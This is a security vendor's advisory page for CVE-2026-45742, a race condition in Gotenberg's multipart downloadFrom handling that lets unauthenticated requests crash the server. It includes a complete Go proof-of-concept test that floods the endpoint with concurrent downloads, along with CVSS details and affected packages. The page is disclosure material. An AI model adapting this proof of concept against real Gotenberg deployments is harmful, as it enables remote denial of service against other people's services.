Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-45742 — gotenberg

🟠 CVSS 8.0 — High ✅ No Known Exploit NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Gotenberg has a Race Condition via Multipart downloadFrom Handling

Summary

Gotenberg is vulnerable to a remote denial of service in multipart downloadFrom handling.

A multipart request containing multiple downloadFrom entries causes concurrent goroutines to write to shared maps without synchronization. This can terminate the process with fatal error: concurrent map writes.

In the default configuration, downloadFrom is enabled and authentication is disabled, so an exposed instance can be crashed by an unauthenticated remote attacker.

Details

The issue is in pkg/modules/api/context.go.

newContext parses multipart requests and processes the downloadFrom form field before the route handler runs. For each downloadFrom entry, it starts a goroutine via errgroup.Go():

  • pkg/modules/api/context.go:221

Each goroutine downloads a file and then writes to request context maps shared by all goroutines:

  • ctx.files[filename] = path
  • ctx.diskToOriginal[path] = filename
  • ctx.filesByField[...] = append(...)

Affected lines in current main:

  • pkg/modules/api/context.go:395
  • pkg/modules/api/context.go:396
  • pkg/modules/api/context.go:401

Go maps and slices are not safe for concurrent writes. A crafted multipart request with many downloadFrom entries can therefore trigger a runtime crash.

The vulnerable downloadFrom feature was introduced in commit f2b6bd3d. The first tagged release containing this code appears to be v8.10.0.

PoC

The following self-contained command creates a temporary test file, runs the PoC, and removes the file afterwards. It does not require any external network access.

Run from the repository root:

cat > pkg/modules/api/downloadfrom_race_poc_test.go <<'EOF'

//go:build security_poc

package api

import (

"bytes"

"encoding/json"

"fmt"

"log/slog"

"mime/multipart"

"net/http"

"net/http/httptest"

"sync"

"testing"

"time"

"github.com/labstack/echo/v4"

"github.com/gotenberg/gotenberg/v8/pkg/gotenberg"

)

func TestSecurityPoCDownloadFromConcurrentMapWrites(t *testing.T) {

const downloads = 64

var ready sync.WaitGroup

ready.Add(downloads)

release := make(chan struct{})

var releaseOnce sync.Once

server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {

ready.Done()

go func() {

ready.Wait()

releaseOnce.Do(func() {

close(release)

})

}()

<-release

filename := fmt.Sprintf("download-%s.txt", r.URL.Query().Get("i"))

w.Header().Set("Content-Disposition", fmt.Sprintf(attachment; filename="%s", filename))

_, _ = w.Write([]byte("downloaded"))

}))

defer server.Close()

dls := make([]downloadFrom, downloads)

for i := range dls {

dls[i] = downloadFrom{

Url: fmt.Sprintf("%s/file?i=%d", server.URL, i),

Field: "embedded",

}

}

payload, err := json.Marshal(dls)

if err != nil {

t.Fatalf("marshal downloadFrom payload: %v", err)

}

body := new(bytes.Buffer)

writer := multipart.NewWriter(body)

err = writer.WriteField("downloadFrom", string(payload))

if err != nil {

t.Fatalf("write downloadFrom field: %v", err)

}

err = writer.Close()

if err != nil {

t.Fatalf("close multipart writer: %v", err)

}

req := httptest.NewRequest(http.MethodPost, "/forms/libreoffice/convert", body)

req.Header.Set("Content-Type", writer.FormDataContentType())

echoCtx := echo.New().NewContext(req, httptest.NewRecorder())

logger := slog.New(slog.DiscardHandler)

fs := gotenberg.NewFileSystem(new(gotenberg.OsMkdirAll))

downloadFromCfg := downloadFromConfig{

maxRetry: 0,

}

ctx, cancel, err := newContext(echoCtx, logger, fs, 10*time.Second, 0, downloadFromCfg)

if err != nil {

t.Fatalf("newContext returned error: %v", err)

}

defer cancel()

if got := len(ctx.files); got != downloads {

t.Fatalf("downloaded files = %d, want %d", got, downloads)

}

}

EOF

GOTOOLCHAIN=go1.26.2 go test -race -tags security_poc ./pkg/modules/api -run TestSecurityPoCDownloadFromConcurrentMapWrites -count=1

rm pkg/modules/api/downloadfrom_race_poc_test.go

Expected result with the race detector:

WARNING: DATA RACE

Write at ...

github.com/gotenberg/gotenberg/v8/pkg/modules/api.newContext.func3()

.../pkg/modules/api/context.go:395

WARNING: DATA RACE

.../pkg/modules/api/context.go:396

WARNING: DATA RACE

.../pkg/modules/api/context.go:401

Running the sam

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Affected software

CVE-2026-45742 is recorded against 3 packages.

  • github.com/gotenberg/gotenberg/v7
  • github.com/gotenberg/gotenberg/v8
  • unknown

Timeline and source

Published on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Advisory)
github.com (Web)

Other advisories for this package

github.com/gotenberg/gotenberg/v7 has other advisories on record. If you are patching this one, these are worth checking on the same host:

Details

Severity High
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE N/A
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/gotenberg/gotenberg/v7
github.com/gotenberg/gotenberg/v8
unknown

Similar Threats

Site Security Check

Is gotenberg part of your stack?

CVE-2026-45742 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026